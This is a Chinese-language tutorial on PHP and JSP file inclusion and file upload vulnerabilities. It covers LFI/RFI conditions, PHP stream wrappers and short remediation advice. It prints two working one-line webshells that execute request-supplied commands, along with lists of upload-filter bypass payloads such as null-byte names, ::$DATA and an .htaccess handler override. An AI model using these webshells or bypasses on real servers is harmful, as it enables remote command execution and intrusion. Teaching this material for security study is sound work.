PHP -- 文件包含、文件上传漏洞
PHP -- 文件包含、文件上传漏洞
文件包含
文件引入漏洞,是由一个动态页面编译时引入另一个文件的操作。
文件引入本身是没有问题,它是用于统一页面风格,减少代码冗余的一种技术。但是在特定的场景下就会形成漏洞
jsp:include指令和include动作,其中include动作用于引入动态文件
php:include(),include_once(),require(),require_once() 函数
require() 如果在包含的过程中有错,比如文件不存在,则直接退出
include()如果在包含的过程中有错,只会给出警告,继续执行
require_once()功能同require();include_once()功能同include。如果文件已经被包含了一次,那么_once函数就不会在去包含了
为什么PHP的文件包含比JSP的文件引入漏洞更严重
JSP的include指令仅用于引入静态文件或页面,include动作可用于引入静态页面或动态页面。但是JSP在引入的时候严格限定了文件类型,当引入一个txt的时候,它就是一个文本文件被加载且读取
PHP利用四个函数进行包含时,不管文件是什么类型,都会直接作为PHP文件进行解析
文件包含漏洞条件
必须使用了引入的函数
引入文件的名字参数化并且参数是由用户构建的
本地文件包含 LFI条件
本地文件包含,能打开并包含本地文件的漏洞
php.ini —> allow_url_fopen=on
远程文件包含RFI条件
包含远程服务器上的文件
php.ini—>allow_url_fopen=on
php.ini—>allow_url_include=on
在JAVA容器中的文件包含
首先,大部分的程序员不太可能让include的参数动态;其次,大部分程序员在处理include引入时都以静态资源为主。所以在这个环境下使用文件包含漏洞的几率不大。但是,如果WEB-APP中存在文件上传漏洞,那么可以利用上传漏洞上传带有include的页面,又但是,有了上传漏洞不如直接上传文件扫描或者一句话木马。综上,在JAVA容器,JSP文件引入漏洞利用率不高
在PHP容器中的文件包含
服务器会默认对某些参数禁用,但文件包含的4个函数是PHP中常用到的,因此有很大可能在服务器上会开启这些配置。对于引入时动态参数的问题,会有一部分程序员可能这么做,因此在PHP上,文件包含有一定的利用率
php://input
allow_url_include=on
php://filter
allow_url_include=on
通过指定末尾的文件,可以读取经过base64编码后的文件原文
phar://
版本大于等于5.3.0
allow_url_include=on
读取压缩文件中的内容
zip://
版本大于等于5.3.0
allow_url_include=on
同phar://,使用zip协议需要约对路径,并且使用%23来分割压缩文件名和文件名
b.txt在a.zip里面时,需要包含b.txt则需要用到a.zip%23b.txt
data://
版本大于等于5.2
allow_url_include=on
allow_url_fopen=on
data://text/plain,
PHP包含Session
Session包存在服务器,PHP的Session以文件形式存在服务器中,sess_[PHPSESSID]
PHP包含Web日志
MySQL日志
SSH日志
包含environ
包含fd
包含临时文件
包含上传文件
包含其它文件
利用动作含动态引入WEBSHELL
利用指令引入数据库配置文件,通常为xml或者poperties文件后缀
利用指令引入Web.xml配置文件,这是一个系统工程的全局配置
利用指含引入框架的配置文件,如:spring\springMVC\myBatis等,其中Hibernate框架和MyBatis框架的配置文件包含数据库信息,甚至表信息及语句
理论上可以利用动作非同源引入其它文件,包含容器下其它工程的配置信息
绕过
路径:相对路径 …/…/xxx.php,绝对路径+相对路径 D:/php/…/xxx
编码:利用URL编码
后缀:? %00 file=phpinfo.txt%00
协议:zip
解决
加强服务器配置安全性
有效过滤用户输入,如果一定要动态引入,则限定引入的范围和类型;甚至你可以做一个引入的列表,用户禁止直接输入文件名,只能以编号的形式进行传递,而程序需要判定编号范围,并引入适当的文件
文件上传漏洞
比较常见一类漏洞,文件上传漏洞可以上传WebShell、PowerShell、BashShell
并非所有的文件上传功能都有漏洞,并非所有的文件上传漏洞都可以被利用
上传的文件能够被容器加载和编译
上传的文件能够被访问(直接、间接)
上传的文件不能被服务器压缩或者修改内容
php、jsp、asp、aspx
一句话木马:
PHP
$a=$_GET['command'];
eval($a); //或者执行shell_exec
?>
JSP
String cmd = request.getParameter("command");
Runtime.getRuntime().exec(cmd)
%>
上传可以上传一句话木马,也可以上传其它的WebShell然后使用菜刀或者冰蝎去连接
验证过程:
利用JS在前端进行的验证
服务器端检查文件后缀名
检查MIME类型
随机新建文件名和扩展名
上传路径是不可被加载解析的
修改文件内容
检查文件内容
前端校验 — 直接篡改页面,把JS校验内容删除掉
文件后缀名 — 特殊文件后缀 PHP(phtml);或截断[\0] \t
MIME类型检查
JPEG .jpg .jpeg Content-Type:image/jpeg
TEXT .txt Content-Type:text/plain
网页 .html Content-Type:text/html
RTF .rtf Content-Type:application/rtf
抓包修该类型
利用大小写绕过
利用截断后缀绕过
? — 找操作系统不能识别但程序会认为是字符串的字符
? 1.php%00.jpg
? 1.php/00.jpg
? 1.php\0.jpg
? 1.php[\0].jpg
? 1.php\t.jpg
? 1.php(0x00).jpg
? 1.php
? 1.php.
? 1.php::$DATA
? 1.php:1.jpg
? 1.php.xxx.abc
? 上传.htaccess 内容包含 SetHandler application/x-httpd-php
SetHandler application/x-httpd-php
? jsp jspx
? php php3 php5 phtml
利用请求头
? Content-Type
PHP -- 文件包含、文件上传漏洞相关教程